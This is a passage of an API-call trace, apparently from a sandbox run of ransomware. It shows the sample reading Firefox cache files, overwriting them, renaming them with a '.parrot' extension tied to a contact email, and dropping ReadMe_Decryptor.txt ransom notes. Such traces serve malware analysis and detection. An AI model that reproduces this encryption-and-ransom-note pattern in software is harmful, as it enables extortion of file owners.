[0087.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22977e0 | out: hHeap=0x5b0000) returned 1 [0087.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x229eec8 [0087.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229a778 | out: hHeap=0x5b0000) returned 1 [0087.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x22942d8 [0087.234] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229eec8 | out: hHeap=0x5b0000) returned 1 [0087.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2252f38 [0087.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22942d8 | out: hHeap=0x5b0000) returned 1 [0087.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x318a060 [0087.237] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.237] WriteFile (in: hFile=0x278, lpBuffer=0x318a080*, nNumberOfBytesToWrite=0x134f8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x318a080*, lpNumberOfBytesWritten=0x18e024*=0x134f8, lpOverlapped=0x0) returned 1 [0087.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0087.238] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x134ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.238] CloseHandle (hObject=0x278) returned 1 [0087.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0087.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e470 [0087.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0087.238] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\24b53d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2274298 | out: hHeap=0x5b0000) returned 1 [0087.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0087.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0087.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0087.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0087.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.240] GetFileType (hFile=0x278) returned 0x1 [0087.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2252f38 [0087.251] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.251] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc150e080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc150e080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.251] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc150e080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x134f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="24B53d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="24B53D~1.PAR")) returned 1 [0087.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0087.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0087.252] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.252] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.252] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.252] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.252] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.252] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fba0f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa949, dwReserved0=0x0, dwReserved1=0x0, cFileName="28E95d01", cAlternateFileName="")) returned 1 [0087.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.252] lstrcmpW (lpString1="28E95d01", lpString2="ReadMe_Decryptor.txt") returned -1 [0087.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.253] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0xa949 [0087.253] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaa61, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.253] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.253] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.254] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.255] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa949, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa949, lpOverlapped=0x0) returned 1 [0087.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0087.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0087.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0087.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x2252f38 [0087.255] GetLastError () returned 0x0 [0087.259] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0087.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c198 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c198 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179030 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179218 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179030 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x31794e8 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179218 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x2252f38 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31794e8 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179030 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x2252f38 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179030 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x2253d50 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x2255290 [0087.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2253d50 | out: hHeap=0x5b0000) returned 1 [0087.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2257258 [0087.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2255290 | out: hHeap=0x5b0000) returned 1 [0087.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x225a1f0 [0087.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257258 | out: hHeap=0x5b0000) returned 1 [0087.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2252f38 [0087.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225a1f0 | out: hHeap=0x5b0000) returned 1 [0087.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2259a18 [0087.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f38 | out: hHeap=0x5b0000) returned 1 [0087.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2274298 [0087.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2259a18 | out: hHeap=0x5b0000) returned 1 [0087.262] WriteFile (in: hFile=0x278, lpBuffer=0x22742a0*, nNumberOfBytesToWrite=0xaa68, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x22742a0*, lpNumberOfBytesWritten=0x18e024*=0xaa68, lpOverlapped=0x0) returned 1 [0087.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2274298 | out: hHeap=0x5b0000) returned 1 [0087.262] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaa61, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.262] CloseHandle (hObject=0x278) returned 1 [0087.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x317fee8 [0087.262] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x223e470 [0087.262] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317fee8 | out: hHeap=0x5b0000) returned 1 [0087.262] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\28e95d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223e470 | out: hHeap=0x5b0000) returned 1 [0087.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0087.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264258 | out: hHeap=0x5b0000) returned 1 [0087.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8428 [0087.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0087.263] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0087.264] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0087.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.264] GetFileType (hFile=0x278) returned 0x1 [0087.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2252f38 [0087.276] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.276] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc15341e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc15341e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.276] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc15341e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xaa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="28E95d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="28E95D~1.PAR")) returned 1 [0087.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0087.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0087.277] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.277] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.277] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.277] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.278] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.278] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x404f, dwReserved0=0x0, dwReserved1=0x0, cFileName="F17B2d01", cAlternateFileName="")) returned 1 [0087.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0087.278] lstrcmpW (lpString1="F17B2d01", lpString2="ReadMe_Decryptor.txt") returned -1 [0087.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\f17b2d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0087.278] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x404f [0087.278] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4167, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.278] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.278] ReadFile (in: hFile=0x278, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.280] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.280] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x404f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x404f, lpOverlapped=0x0) returned 1 [0087.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0087.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0087.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0087.281] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x2252f38 [0087.281] GetLastError () returned 0x0 [0087.282] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0087.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0087.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0087.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0087.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0087.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 